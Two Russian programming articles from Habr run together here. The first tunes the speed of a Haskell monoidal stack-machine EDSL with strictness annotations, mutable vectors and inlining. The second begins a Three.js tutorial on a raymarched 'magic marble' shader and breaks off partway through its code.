Haskell — язык своеобразный и с особенной нишей. Основной целью его создания и развития была необходимость в lingua franca для выражения и тестирования идей функционального программирования. Этим оправданы его самые яркие особенности: ленивость, предельная чистота, акцент на типы и манипуляции с ними. Он разрабатывался не для повседневной разработки, не для промышленного программирования, не для широкого использования. То, что он, действительно, используется для создания масштабных проектов в сетевой индустрии и в обработке данных — это добрая воля разработчиков, proof of concept, если угодно. Но до сих пор, самым главным, широко используемым и потрясающим своими возможностями продуктом, написанным на Haskell является… компилятор ghc. И это совершенно оправданно с точки зрения его предназначения — быть инструментом для исследований в области computer science. Принцип, провозглашённый Саймоном Пейтоном-Джонсоном: "Избегать успеха любой ценой", необходим языку для того, чтобы оставаться таким инструментом. Haskell подобен стерильной камере в лаборатории какого-либо научного центра, разрабатывающего полупроводниковые технологии или наноматериалы. В ней жутко неудобно работать, и для повседневной практики она слишком уж ограничивает свободу действий, но без этих неудобств, без безкомпромиссного следования ограничениям не удастся наблюдать и изучать тонкие эффекты, которые потом превратятся в основу промышленных разработок. При этом, в промышленности стерильность уже будет нужна лишь в самом необходимом объёме, а результаты этих экспериментов появятся в наших карманах в виде гаджетов. Мы изучаем звёзды и галактики не потому что рассчитываем получить от них прямую пользу, а потому что в масштабах этих непрактичных объектов квантовые и релятивистские эффекты становятся наблюдаемы и изучаемы, настолько, что потом мы можем использовать это знание для разработки чего-то очень утилитарного. Так и Haskell с его "неправильными" строками, непрактичной ленивостью вычислений, жёсткостью некоторых алгоритмов вывода типов, с чрезвычайно крутой кривой входа, наконец, не позволяет с лёгкостью создать шустрое приложение на коленке или операционную систему. Однако, из этой лаборатории вышли в практический мир линзы, монады, комбинаторный парсинг, широкое использование моноидов, методы автоматического доказательства теорем, декларативные функциональные менеджеры пакетов, на подходе линейные и зависимые типы. Это находит применение в менее стерильных условиях в языках Python, Scala, Kotlin, F#, Rust и многих других. Но ни одном из этих чудесных языков я не стал бы использовать для преподавания принципов функционального программирования: я отвёл бы ученика в лабораторию, показал на ярких и чистых примерах как это работает, а потом уже можно "на заводе" увидеть эти принципы в действии в виде большого и непонятного, но очень быстрого станка. Избегание успеха любой ценой — это защита от попыток засунуть в электронный микроскоп кофеварку, с целью его популяризации. И в соревнованиях какой язык круче, Haskell всегда будет вне обычных номинаций.
Однако, человек слаб, и во мне тоже живёт демон, который подзуживает сравнивать, оценивать и защищать "мой любимый язык" перед другими. Так, написав изящную реализацию стековой машины, основанную на моноидальной композиции, с единственной целью — увидеть, работает ли эта моя идея, я тут же огорчился, обнаружив, что реализация работает блестяще, но жутко неэффективно! Как будто я, и правда, собираюсь использовать её для серьёзных задач, либо продавать свою стековую машину на том же рынке, где предлагают виртуальные машины Python или Java. Но, чёрт побери, в статье про поросёнка с которой начался весь этот разговор приводятся такие вкусные цифры: сотни миллисекунд у поросёнка, секунды у Python… а мой прекрасный моноид с этой же задачей не справляется и за час! Я должен добиться успеха! Мой микроскоп будет варить эспрессо не хуже кофемашины в коридоре института! Хрустальный дворец можно разогнать и запустить в космос!
Но чем ты готов поступиться, — спрашивает меня ангел-математик? Чистотой и прозрачностью архитектуры дворца? Гибкостью и расширяемостью, которую предоставляют гомоморфизмы из программ в другие решения? Демон и ангел оба упрямы, и мудрый даос, которого я тоже пускаю к себе пожить, предложил пойти по пути, устраивающему обоих, и идти по нему так долго, как получится. Однако не с целью выявить победителя, а чтобы познать сам путь, выяснить как далеко он ведёт, и получить новый опыт. И так я познал суетные печаль и радость оптимизации.
Перед тем как начать, добавим ещё что сравнения *языков* по эффективности бессмысленны. Сравнивать надо трансляторы (интерпретаторы или компиляторы), либо производительность программиста, пользующегося языком. В конце концов утверждение, что программы на C самые быстрые легко опровергнуть, написав полноценный интерпретатор C на BASIC, например. Итак, мы сравниваем не Haskell и javascript, а производительность программ, выполняемых транслятором, скомпилированным `ghc` и программ, выполняемых, скажем, в каком-то конкретном браузере. Вся свинская терминология взялась из вдохновляющей [статьи](https://habr.com/company/badoo/blog/428878/) о стековых машинах. Весь код на Haskell, сопровождающий статью можно изучить в [репозитории](https://github.com/samsergey/monopig).
### Выходим из зоны комфорта
Исходной позицией будет реализация моноидальной стековой машины в виде EDSL — маленького простого языка, который позволяет комбинируя два десятка примитивов, воздавать программы для виртуальной стековой машины. Коль скоро он попал во вторую статью, дадим ему имя `monopig`. Его основой служит то обстоятельство, что языки для стековых машин образуют *моноид* с операцией конкатенации и пустой операцией в качестве единицы. Соответственно, и он сам построен в форме моноида трансформации состояния машины. Состояние включает в себя стек, память в виде вектора (структуры, обеспечивающей случайный доступ к элементам), флаг аварийной остановки и моноидальный аккумулятор для накопления отладочной информации. Вся эта структура передаётся по цепочке эндоморфизмов от операции к операции, осуществляя вычислительный процесс. Из структуры, которую образуют программы была построена изоморфная структура *кодов* программ, а из неё гомоморфизмы в другие полезные структуры, представляющие требования к программе по числу аргументов и памяти. Завершающим этапом строительства было создание моноидов трансформации в категории Клейсли, которые позволяют погрузить вычисления в произвольную монаду. Так у машины появились возможности ввод-вывода и неоднозначных вычислений. С этой реализации и начнём. Её код можно посмотреть [здесь](https://github.com/samsergey/monopig/blob/master/Monopig4.hs).
Мы будем испытывать эффективность программы на наивной реализации решета Эратосфена, которая заполняет память (массив) нулями и единицами, обозначая простые числа нулём. Процедурный код алгоритма приведём на языке `javascript`:
```
var memSize = 65536;
var arr = [];
for (var i = 0; i < memSize; i++)
arr.push(0);
function sieve()
{
var n = 2;
while (n*n < memSize)
{
if (!arr[n])
{
var k = n;
while (k < memSize)
{
k+=n;
arr[k] = 1;
}
}
n++;
}
}
```
Алгоритм сразу немного оптимизирован. Тут исключено дурное шагание по уже заполненным ячейкам памяти. Мой ангел-математик не согласился на *действительно* наивную версию из примера в проекте `PorosenokVM`, поскольку эта оптимизация стоит всего пяти инструкций стекового языка. Вот как алгоритм переводится на `monopig`:
```
sieve = push 2 <>
while (dup <> dup <> mul <> push memSize <> lt)
(dup <> get <> branch mempty fill <> inc) <>
pop
fill = dup <> dup <> add <>
while (dup <> push memSize <> lt)
(dup <> push 1 <> swap <> put <> exch <> add) <>
pop
```
А вот как можно записать эквивалентную реализацию этого алгоритма на идиоматичном Haskell, с использованием тех же типов, что и в `monopig`:
```
sieve' :: Int -> Vector Int -> Vector Int
sieve' k m
| k*k < memSize =
sieve' (k+1) $ if m ! k == 0 then fill' k (2*k) m else m
| otherwise = m
fill' :: Int -> Int -> Vector Int -> Vector Int
fill' k n m
| n < memSize = fill' k (n+k) $ m // [(n,1)]
| otherwise = m
```
Здесь используется тип `Data.Vector` и инструменты для работы с ним, не слишком обычные для повседневной работы в Haskell. Выражение `m ! k` возвращает `k`-тый элемент вектора `m`, а `m // [(n,1)]` — устанавливает элементу с номером `n` значение 1. Пишу это здесь, потому что мне пришлось лезть за ними в справку, притом, что я работаю в Haskell едва ли не каждый день. Дело в том, что структуры с произвольным доступом в функциональной реализации неэффективны и по этой причине нелюбимы.
По условиям соревнования, заданным в статье про поросёнка, алгоритм прогоняется 100 раз. А чтобы отвязаться от конкретного компьютера, давайте сравнивать скорости выполнения этих трёх программ, отнеся их к производительности программы на `javascript`, прогонявшейся в Chrome.
Ужас-ужас!!! Мало того, что `monopig` тормозит безбожно, так ещё и нативная версия не многим лучше! Haskell, конечно, крут, но не настолько же, чтобы уступать программе, выполняемой в браузере?! Как учат нас коучи — так дальше жить нельзя, пора выходить из зоны комфорта, которую нам предоставляет Haskell!
### Преодолеваем лень
Давайте разбираться. Для этого скомпилируем программу на `monopig` с флагом `-rtsopts` для ведения учёта статистики времени выполнения и посмотрим что нам стоит прогнать решето Эратосфена один раз:
```
$ ghc -O -rtsopts ./Monopig4.hs
[1 of 1] Compiling Main ( Monopig4.hs, Monopig4.o )
Linking Monopig4 ...
$ ./Monopig4 -RTS -sstderr
"Ok"
68,243,040,608 bytes allocated in the heap
6,471,530,040 bytes copied during GC
2,950,952 bytes maximum residency (30667 sample(s))
42,264 bytes maximum slop
15 MB total memory in use (7 MB lost due to fragmentation)
Tot time (elapsed) Avg pause Max pause
Gen 0 99408 colls, 0 par 2.758s 2.718s 0.0000s 0.0015s
Gen 1 30667 colls, 0 par 57.654s 57.777s 0.0019s 0.0133s
INIT time 0.000s ( 0.000s elapsed)
MUT time 29.008s ( 29.111s elapsed)
GC time 60.411s ( 60.495s elapsed) <-- утечка времени здесь!
EXIT time 0.000s ( 0.000s elapsed)
Total time 89.423s ( 89.607s elapsed)
%GC time 67.6% (67.5% elapsed)
Alloc rate 2,352,591,525 bytes per MUT second
Productivity 32.4% of total user, 32.4% of total elapsed
```
Последняя строчка говорит нам, что программа занималась продуктивными вычислениями лишь треть времени. Всё остальное время по памяти бегал сборщик мусора и убирался за ленивыми вычислениями. Сколько раз нам повторяли в детстве, что лениться нехорошо! Здесь главная особенность Haskell оказала нам дурную услугу, пытаясь создать несколько миллиардов отложенных трансформаций вектора и стека.
Ангел-математик в этом месте воздымает палец и радостно рассказывает о том, что ещё со времён Алонзо Чёрча, существует теорема, утверждающая, что стратегия вычислений не влияет на их результат, а значит, мы вольны в её выборе из соображений эффективности. Поменять вычисления на строгие совсем несложно — ставим знак `!` в объявлении типа стека и памяти и тем самым делаем эти поля строгими.
```
data VM a = VM { stack :: !Stack
, status :: Maybe String
, memory :: !Memory
, journal :: !a }
```
Ничего больше менять не будем и сразу проверим результат:
```
$ ./Monopig41 +RTS -sstderr
"Ok"
68,244,819,008 bytes allocated in the heap
7,386,896 bytes copied during GC
528,088 bytes maximum residency (2 sample(s))
25,248 bytes maximum slop
16 MB total memory in use (14 MB lost due to fragmentation)
Tot time (elapsed) Avg pause Max pause
Gen 0 129923 colls, 0 par 0.666s 0.654s 0.0000s 0.0001s
Gen 1 2 colls, 0 par 0.001s 0.001s 0.0006s 0.0007s
INIT time 0.000s ( 0.000s elapsed)
MUT time 13.029s ( 13.048s elapsed)
GC time 0.667s ( 0.655s elapsed)
EXIT time 0.001s ( 0.001s elapsed)
Total time 13.700s ( 13.704s elapsed)
%GC time 4.9% (4.8% elapsed)
Alloc rate 5,238,049,412 bytes per MUT second
Productivity 95.1% of total user, 95.1% of total elapsed
```
Продуктивность существенно выросла. Общие затраты памяти всё равно остались внушительными из-за неизменяемости данных, но главное, теперь, когда мы ограничили ленивость данных, у сборщика мусора появилась возможность лениться, на его долю осталось лишь 5% всей работы. Заносим новую запись в рейтинг.
Ну, что же, строгие вычисления приблизили нас по скорости к работе нативного кода Haskell, который позорно тормозит безо всякой виртуальной машины. Это значит, что накладные расходы на использование неизменяемого вектора *существенно* превосходят расходы на содержание стековой машины. И это значит, что пора распрощаться с неизменяемостью памяти.
### Впускаем изменения в жизнь
Тип `Data.Vector` хорош, но используя его, мы тратим кучу времени на копирование, во имя сохранения чистоты вычислительного процесса. Заменив его на тип `Data.Vector.Unpacked` мы, хотя бы экономим на упаковке структуры, но это принципиально не меняет картину. Правильным решением было бы вывести память из состояния машины и обеспечить доступ к внешнему вектору, воспользовавшись категорией Клейсли. При этом наряду с чистыми векторами, можно использовать так называемые изменяемые (мутабельные) векторы `Data.Vector.Mutable`.
Подключим соответствующие модули и подумаем, как нам иметь дело с изменяемыми данными в чистой функциональной программе.
```
import Control.Monad.Primitive
import qualified Data.Vector.Unboxed as V
import qualified Data.Vector.Unboxed.Mutable as M
```
Эти грязные типы, как полагается, изолируются от чистой публики. Они содержатся в монадах класса `PrimMonad` (к ним относятся `ST` или `IO`), куда чистые программы аккуратно просовывают им инструкции к действиям, написанные кристальным функциональным языком на драгоценном пергаменте. Таким образом, поведение этих нечистых животных определяется строго правоверными сценариями и не представляет опасности. Не все программы для нашей машины используют память, так что обрекать на погружение в монаду `IO` всю архитектуру нет необходимости. Наряду с чистым подмножеством языка `monopig` мы создадим четыре инструкции, обеспечивающие обращение к памяти и только они будут иметь доступ к опасной территории.
Тип чистой машины становится короче:
```
data VM a = VM { stack :: !Stack
, status :: Maybe String
, journal :: !a }
```
Конструкторы программ и сами программы этого изменения почти не заметят, но поменяются их типы. Кроме того, имеет смысл определить несколько типов-синонимов для упрощения сигнатур.
```
type Memory m = M.MVector (PrimState m) Int
type Logger m a = Memory m -> Code -> VM a -> m (VM a)
type Program' m a = Logger m a -> Memory m -> Program m a
```
У конструкторов появится ещё один аргумент, представляющий доступ к памяти. Существенно поменяются исполнители, особенно, ведущие журнал вычислений, ведь теперь им нужно испрашивать у изменяемого вектора его состояние. Полный [код](https://github.com/samsergey/monopig/blob/master/Monopig5.hs) можно увидеть и изучить в репозитории, а здесь я приведу самое интересное: реализацию базовых компонент для работы с памятью, чтобы показать как это делается.
```
geti :: PrimMonad m => Int -> Program' m a
geti i = programM (GETI i) $
\mem -> \s -> if (0 <= i && i < memSize)
then \vm -> do x <- M.unsafeRead mem i
setStack (x:s) vm
else err "index out of range"
puti :: PrimMonad m => Int -> Program' m a
puti i = programM (PUTI i) $
\mem -> \case (x:s) -> if (0 <= i && i < memSize)
then \vm -> do M.unsafeWrite mem i x
setStack s vm
else err "index out of range"
_ -> err "expected an element"
get :: PrimMonad m => Program' m a
get = programM (GET) $
\m -> \case (i:s) -> \vm -> do x <- M.read m i
setStack (x:s) vm
_ -> err "expected an element"
put :: PrimMonad m => Program' m a
put = programM (PUT) $
\m -> \case (i:x:s) -> \vm -> M.write m i x >> setStack s vm
_ -> err "expected two elemets"
```
Демон-оптимизатор предложил сразу ещё немного сэкономить на проверке допустимых значений индекса в памяти, ведь для команд `puti` и `geti` индексы известны на этапе создания программы и неверные значения можно отсеять заранее. Динамически определяемые индексы для команд `put` и `get` не гарантируют безопасности и ангел-математик не разрешил в них проводить опасные обращения.
Вся эта возня с выведением памяти в отдельный аргумент кажется сложной. Но она очень чётко показывает изменяемым данным их место — *они должны быть снаружи*. Напоминаю, что мы пытаемся провести в стерильную лабораторию разносчика пиццы с пиццей. Чистые функции знают что с ними делать, но эти объекты никогда не станут гражданами первого класса, и готовить пиццу прямо в лаборатории не стоит.
Давайте проверим что мы купили этими изменениями:
```
$ ./Monopig5 +RTS -sstderr
"Ok"
9,169,192,928 bytes allocated in the heap
2,006,680 bytes copied during GC
529,608 bytes maximum residency (2 sample(s))
25,248 bytes maximum slop
2 MB total memory in use (0 MB lost due to fragmentation)
Tot time (elapsed) Avg pause Max pause
Gen 0 17693 colls, 0 par 0.094s 0.093s 0.0000s 0.0001s
Gen 1 2 colls, 0 par 0.000s 0.000s 0.0002s 0.0003s
INIT time 0.000s ( 0.000s elapsed)
MUT time 7.228s ( 7.232s elapsed)
GC time 0.094s ( 0.093s elapsed)
EXIT time 0.000s ( 0.000s elapsed)
Total time 7.325s ( 7.326s elapsed)
%GC time 1.3% (1.3% elapsed)
Alloc rate 1,268,570,828 bytes per MUT second
Productivity 98.7% of total user, 98.7% of total elapsed
```
Вот это уже прогресс! В восемь раз сократилось использование памяти, в 180 раз увеличилась скорость выполнения программы, а сборщик мусора остался почти совсем без работы.
В рейтинге появилось решение *monopig st. mut.*, которое медленнее нативного решения на `js` в десять раз, но кроме него и нативное решение на Haskell, использующее изменяемые векторы. Вот его код:
```
fill' :: Int -> Int -> Memory IO -> IO (Memory IO)
fill' k n m
| n > memSize-k = return m
| otherwise = M.unsafeWrite m n 1 >> fill' k (n+k) m
sieve' :: Int -> Memory IO -> IO (Memory IO)
sieve' k m
| k*k < memSize =
do x <- M.unsafeRead m k
if x == 0
then fill' k (2*k) m >>= sieve' (k+1)
else sieve' (k+1) m
| otherwise = return m
```
Запускается он следующим образом
```
main = do m <- M.replicate memSize 0
stimes 100 (sieve' 2 m >> return ())
print "Ok"
```
И теперь Haskell наконец показывает, что он не игрушечный язык. Просто нужно его с умом использовать. Кстати, в приведённом коде используется то, что тип `IO ()` образует полугруппу с операцией последовательного выполнения программ `(>>)`, и с помощью `stimes` мы повторили 100 раз вычисления тестовой задачи.
Теперь понятно, отчего происходит такая нелюбовь к функциональным массивам и почему никто не помнит, как с ними работать: как только Haskell-программисту становятся всерьёз нужны структуры с произвольным доступом, он переориентируется на изменяемые данные и работает в монадах ST или IO.
Выведение в особую зону части команд ставит под вопрос законность изоморфизма *код**программа*. Ведь мы не можем одновременно превращать код и в чистые программы и в монадические, это не разрешает делать система типов. Однако классы типов достаточно гибки для того, чтобы этот изоморфизм существовал. Гомоморфизм *код**программа* теперь разбивается на несколько гомоморфизмов для разных подмножеств языка. Как именно это сделано, можно увидеть в полном [коде]() программы.
### Не останавливайся на достигнутом
Ещё немного изменить продуктивность программы поможет исключение лишних вызовов функций и встраивание их кода непосредственно с помощью прагмы `{-# INLINE #-}`. Этот способ непригоден для рекурсивных функций, но отлично подходит для базовых компонентов и функций-сеттеров. Он уменьшает время выполнения тестовой программы ещё на 25% (см. [Monopig51.hs](https://github.com/samsergey/monopig/blob/master/Monopig51.hs)).
Следующим разумным шагом будет избавление от инструментов логирования тогда, когда необходимости в них нет. На этапе формирования эндоморфизма, представляющего программу, мы используем внешний аргумент, который определяем при запуске. Умные конструкторы `program` и `programM` можно предупредить о том, что аргумента-логгера может не быть. В этом случае код преобразователя не содержит ничего лишнего: только функционал и проверку статуса машины.
```
program code f = programM code (const f)
programM code f (Just logger) mem = Program . ([code],) . ActionM $
\vm -> case status vm of
Nothing -> logger mem code =<< f mem (stack vm) vm
_ -> return vm
programM code f _ mem = Program . ([code],) . ActionM $
\vm -> case status vm of
Nothing -> f mem (stack vm) vm
_ -> return vm
```
Теперь функции-исполнители должны явно указывать наличие или отсутствие логгирования не при помощи заглушки `none`, а пользуясь типом `Maybe (Logger m a)`. Почему это должно сработать, ведь о том есть логгирование или нет, компоненты программ узнают "в последний момент", перед самым выполнением? Разве не будет ненужный код вшит на этапе формирования композиции программ? Haskell — ленивый язык и тут это играет нам на руку. Именно перед выполнением и формируется окончательный код, оптимизированный под конкретную задачу. Эта оптимизация сократила время выполнения программы ещё на 40% (см. [Monopig52.hs](https://github.com/samsergey/monopig/blob/master/Monopig52.hs)).
На этом мы завершим работу над ускорением моноидального поросёнка. Он уже достаточно шустро носится, чтобы и ангел и демон могли успокоиться. Это, конечно, не C, у нас всё ещё используется чистый список в качестве стека, но замена его на массив приведёт к основательному перелопачиванию кода, и отказу от использования элегантных шаблонов в определениях базовых команд. Мне же хотелось обойтись минимальными изменениями и, в основном, на уровне типов.
Некоторые проблемы остаются при ведении журнала. Простой подсчёт числа шагов или использования стека работают неплохо (мы сделали поле журнала строгим), но их объединение в пару уже начинает кушать память, приходится возиться с пинками с помощью `seq`, что уже изрядно раздражает. Но, скажите, кто будет логировать 14 миллиардов шагов, если отладить задачу можно на первых сотнях? Так что тратить своё время на ускорение ради ускорения я уже не буду.
Осталось лишь добавить, что в статье про поросёнка, в качестве одного из методов оптимизации вычислений, приводится трассировка: выделение линейных участков кода, *трасс*, внутри которых вычисления можно производить минуя главный цикл диспетчеризации команд (блок `switch`). В нашем случае, моноидальная композиция компонентов программы создаёт такие трассы либо во время формирования программы из компонентов EDSL, либо при работе гомоморфизма `fromCode`. Этот способ оптимизации достаётся нам бесплатно, так сказать, по построению.
В экосистеме Haskell существует много изящных и быстрых решений, таких как потоки `Conduits` или `Pipes`, есть отличные замены типу `String` и шустрые создатели XML, такие как blaze-html, а парсер `attoparsec` — это эталон комбинаторного анализа для LL(∞)-грамматик. Всё это нужно для нормальной работы. Но ещё нужнее — исследования, приводящие к этим решениям. Haskell был и остаётся исследовательским инструментом, удовлетворяющим специфическим требованиям, не нужным широкой публике. Я видел на Камчатке, как асы на вертолёте Ми-4 закрывали на спор коробок спичек, надавливая на него колесом шасси, вися в воздухе. Это можно сделать, и это классно, но не нужно.
Но, всё-таки, это классно!! | https://habr.com/ru/post/430956/ | null | ru | null |
# Как сделать магический шар на Three.js
### Анимированный объём при помощи встроенного шейдера
Конечно же, после [смерти Flash](https://habr.com/ru/company/skillfactory/blog/540292/) веб не превратился в простую, скучную плоскость. К старту [курса по фронтенду](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=030821) показываем, как при помощи Three.js и технологии WebGL создать магический шар с анимацией внутри объёма. Автор статьи не только опубликовал код на CodePen для удобной демонстрации, но и добавил на страницу ползунки, чтобы вы могли экспериментировать с шаром и сразу видеть результат. В конце вы найдёте ссылку на исходный код на Github и демонстрацию не на CodePen.
---
В апреле 2019 года Гарри Алисавакис написал отличный [пост](https://halisavakis.com/write-up-magical-marbles/) об эффекте "магических шариков", которым [поделился](https://twitter.com/HarryAlisavakis/status/1118434598957006848) в Твиттере. Сначала посмотрите эту статью, чтобы увидеть эффект в целом. Статья содержит краткое описание техники, но цель руководства — показать код в рамках Three.js. При этом метод немного упрощён. Это руководство — промежуточное знакомство с Three.js и GLSL.
### Обзор
Вначале рекомендую прочитать пост Гарри: он представляет полезные наглядные примеры, а в списке ниже — их суть:
* Поиск тектуры смещается в зависимости от направления камеры, добавляя материалу глубину.
* На каждой итерации применяются "срезы" карты высот по глубине для динамики объёма.
* Помск текстуры перемещается прокручиванием шума, так движения становятся волнообразными.
В статье Гарри было несколько не совсем понятных частей, наверное, из-за разницы возможностей в Unity и Three.js:
* Первый момент — переход от параллаксного отображения на плоскости к отображению на сфере.
* Второй — как получить касательные к вершинам для преобразования в касательное пространство. Я не был уверен, вычисляется ли шум для карты высот как код внутри шейдера или рендерится предварительно. После экспериментов я пришёл к своим выводам, но я призываю придумать ваши вариации этого метода.
Пример ниже — шаблон для приложения Three.js с жизненным циклом init и tick, с управлением цветом и картой окружения из [Poly Haven](https://polyhaven.com/) для освещения.
### 1. Пустой шар
Магические шары сделаны из стекла, а шарики Гарри блестели. Чтобы сделать по-настоящему красивый материал, нужно написать сложный код шейдеров [PBR,](https://en.wikipedia.org/wiki/Physically_based_rendering) поэтому просто возьмём встроенный в Three.js PBR-материал и подключим к нему наши магические кусочки.
onBeforeCompile — свойство обратного вызова базового класса THREE.Material, которое позволяет применять исправления к встроенным шейдерам до компиляции в WebGL. Эта техника — хакерская, она не слишком хорошо объясняется в официальной документации, но узнать подробности о ней можно [здесь](https://medium.com/@pailhead011/extending-three-js-materials-with-glsl-78ea7bbb9270).
Самое сложное в этом деле — понять, *какую* часть шейдеров нужно изменить. Лучше просто прочитать [исходный код изменяемого шейдера](https://github.com/mrdoob/three.js/tree/dev/src/renderers/shaders/ShaderLib), найти смутно релевантную строку [или фрагмент](https://github.com/mrdoob/three.js/tree/dev/src/renderers/shaders/ShaderChunk) и настраивать материал, пока вы не увидите изменения. Отследить переменные и части кода трудно, поэтому я пишу [личные заметки](https://boulder-persimmon-086.notion.site/The-ShaderLib-Handbook-41d6018b3cd3427d9b73a635e068dda2) о том, что удалось найти.
> Я обнаружил элегантный способ расширить встроенные материалы при помощи [экспериментальных](https://threejs.org/examples/?q=node#webgl_materials_nodes) Three Node Materials. Находка заслуживает отдельного руководства, поэтому я буду придерживаться распространённого подхода с onBeforeCompile.
>
>
Хорошая база для начала — [MeshStandardMaterial](https://threejs.org/docs/index.html?q=meshstan#api/en/materials/MeshStandardMaterial). В нём есть блеск и отражение окружения, благодаря которым материал будет очень похожим на стекло; также, если вы хотите добиться царапин на поверхности, есть возможность добавить карту нормалей.
Изменить нужно только основной цвет, на который накладывается освещение; найти его легко. Фрагментный шейдер для MeshStandardMaterial определён в [meshphysical\_frag.glsl.js](https://github.com/mrdoob/three.js/blob/dev/src/renderers/shaders/ShaderLib/meshphysical_frag.glsl.js) — подмножестве MeshPhysicalMaterial, поэтому они оба определены в одном файле).
Часто приходится копаться во включённых директивой #include кусках шейдера, но у нас тот редкий случай, когда переменная, которую мы хотим изменить, на виду. Вот первая строка функции main():
```
vec4 diffuseColor = vec4( diffuse, opacity );
```
Она обычно считывает данные из uniform-переменных диффузии и непрозрачности в JS-свойствах материала .color и .opacity, следующий код выполняет сложную работу по освещению.
Заменим эту строку присвоением diffuseColor, чтобы иметь возможность нанести любой рисунок на поверхность шара. Сделать это можно при помощи строковых методов JavaScript предоставленное обратному вызову onBeforeCompile поля .fragmentShader в shader.
```
material.onBeforeCompile = shader => {
shader.fragmentShader = shader.fragmentShader.replace('/vec4 diffuseColor.*;/, `
// Assign whatever you want!
vec4 diffuseColor = vec4(1., 0., 0., 1.);
`)
}
```
Определение типа для этого загадочного аргумента обратного вызова вы найдёте [здесь](https://github.com/DefinitelyTyped/DefinitelyTyped/blob/6deff364876c3f60d58bb3117f13a315c3a5e366/types/three/src/renderers/shaders/ShaderLib.d.ts#L3). В следующем примере я поменял геометрию на сферу, уменьшил шероховатость и заполнил diffuseColor нормалями экранного пространства, которые доступны в стандартном фрагментном шейдере через свойство vNormal. Результат выглядит как блестящая версия MeshNormalMaterial.
2. Объём
--------
Теперь начинается самое сложное — применение рассеянного цвета для иллюзии объёма внутри шарика. В раннем [посте](https://halisavakis.com/my-take-on-shaders-parallax-effect-part-ii/) Гарри о параллаксе рассказывается, как найти направление камеры в касательном пространстве и использовать его для смещения UV-координат, а на [learnopengl.com](https://learnopengl.com/Advanced-Lighting/Parallax-Mapping) и в [этой](https://web.archive.org/web/20190119082928/http://sunandblackcat.com/tipFullView.php?topicid=28) архивной заметке объясняется, как этот общий принцип работает для эффектов параллакса.
Однако преобразование материала в касательное пространство в Three.js может оказаться непростой задачей. Насколько я знаю, для этого нет встроенной утилиты, как для других преобразований пространства, так что придётся потрудиться, чтобы сгенерировать касательные к вершинам и затем [собрать](http://www.opengl-tutorial.org/intermediate-tutorials/tutorial-13-normal-mapping/#tangent-and-bitangent) матрицу TBN для преобразования.
Кроме того, сфера — не очень хорошая форма для касательных из-за [теоремы](https://en.wikipedia.org/wiki/Hairy_ball_theorem) о волосатом шарике [или о ёжике в Европе] (да, она существует), а функция Three.js computeTangents() [демонстрировала](https://jsfiddle.net/mattrossman/9san5gc8/10/) разрывы, поэтому шейдеры придётся [вычислять](https://jsfiddle.net/mattrossman/9san5gc8/38/) вручную.
К счастью, касательное пространство нам не нужно, если мы рассматриваем эту задачу как задачу трёхмерного построения лучей. Есть луч от камеры к поверхности шарика, и мы хотим провести луч через его объём, а также вниз по срезам карты высот.
Нам просто нужно знать, как преобразовать точку в трёхмерном пространстве в точку на поверхности сферы, чтобы выполнять поиск текстуры. Теоретически вы также можете просто вставить 3D-позицию прямо в выбранную вами функцию шума и не использовать текстуру, но этот эффект зависит от большого количества итераций, и я исхожу из предположения, что поиск по текстуре дешевле всех этих вычислений, происходящих, например, в [функции симплексного шума 3D](https://github.com/hughsk/glsl-noise/blob/7870430c384bd53488ff6fe9a47f8a6f571524c4/simplex/3d.glsl) (гуру шейдеров, пожалуйста, поправьте меня, если я ошибаюсь).
Другое преимущество чтения из текстуры в том, что оно позволяет нам использовать более профессиональный конвейер для создания карт высот, так что возможно генерировать интересные объёмы, но не писать новый код.
Сначала я написал функцию для выполнения этого сферического преобразования — XYZ→UV — на основании [ответов](https://gamedev.stackexchange.com/a/114416) из интернета, но оказалось, что функция equirectUv в [common.glsl.js](https://github.com/mrdoob/three.js/blob/9b1faf830f09957f8ea4886985dbbef99fd81949/src/renderers/shaders/ShaderChunk/common.glsl.js#L121) делает то же самое. Мы можем использовать её повторно, если в стандартном шейдере поместим логику построения лучей после строки #include\_trailing\_comma.
Карта высоты
------------
Для карты высот нам нужна текстура, которая будет плавно проецироваться на поверхность UV-сферы. Их нетрудно [найти](http://kitfox.com/projects/perlinNoiseMaker/) в сети, но проблема в том, что эти плоские проекции шума при наложении на сферу вблизи полюсов будут выглядеть деформированными.
Чтобы решить эту проблему, создадим текстуру с помощью [Blender](https://www.blender.org/). Один из способов сделать это — согнуть сетку высокого разрешения "Grid" в сферу с помощью двух экземпляров модификатора "Simple Deform", подключить полученные координаты текстуры "Object" к выбранному вами процедурному шейдеру, а затем выполнить [emissive bake](https://www.youtube.com/watch?v=uxvKeR3ltxk) с помощью рендера Cycles. Я также добавил контурные вырезы возле полюсов и модификатор подразбиения, чтобы избежать артефактов при запекании.
Результат:
#### Реймаршинг (рейкастинг)
Момент, которого мы ждали и боялись, — реймаршинг! Всё не так плохо, ниже приведена сокращённая версия кода. Пока что анимации нет, я просто беру фрагменты карты высот с помощью [smoothstep](https://thebookofshaders.com/glossary/?search=smoothstep) (обратите внимание на коэффициент сглаживания, который помогает скрыть резкие края между слоями), я складываю их, а затем использую это для смешивания двух цветов.
```
uniform sampler2D heightMap;
uniform vec3 colorA;
uniform vec3 colorB;
uniform float iterations;
uniform float depth;
uniform float smoothing;
/**
* @param rayOrigin - Point on sphere
* @param rayDir - Normalized ray direction
* @returns Diffuse RGB color
*/
vec3 marchMarble(vec3 rayOrigin, vec3 rayDir) {
float perIteration = 1. / float(iterations);
vec3 deltaRay = rayDir * perIteration * depth;
// Start at point of intersection and accumulate volume
vec3 p = rayOrigin;
float totalVolume = 0.;
for (int i=0; i
```
Эта логика физически не совсем точна — взятие срезов карты высот на основе индекса итерации предполагает, что луч направлен к центру сферы, но для большинства пикселей это не так. В результате мрамор кажется сильно преломлённым, но я думаю, что это выглядит круто и усиливает эффект цельного стекла!
#### Инъекция глобальных переменных шейдера (uniform)
И последнее замечание, прежде чем увидеть плоды труда, — как мы включим все эти пользовательские uniform в наш модифицированный материал? Нельзя просто взять и приклеить материал к material.uniforms, как это делается в случае с THREE.ShaderMaterial. Хитрость в том, чтобы создать кастомный объект uniform, а затем подключить его содержимое к аргументу шейдера в onBeforeCompile. Например так:
```
const myUniforms = {
foo: { value: 0 }
}
material.onBeforeCompile = shader => {
shader.uniforms.foo = myUniforms.foo
// ... (all your other patches)
}
```
Когда шейдер пытается прочитать свою ссылку shader.uniforms.foo.value, на самом деле он читает из вашего локального myUniforms.foo.value, поэтому любое изменение значений в вашем объекте uniform отражается на шейдере. Обычно, чтобы подключить все uniform сразу, я использую спред-оператор JavaScript:
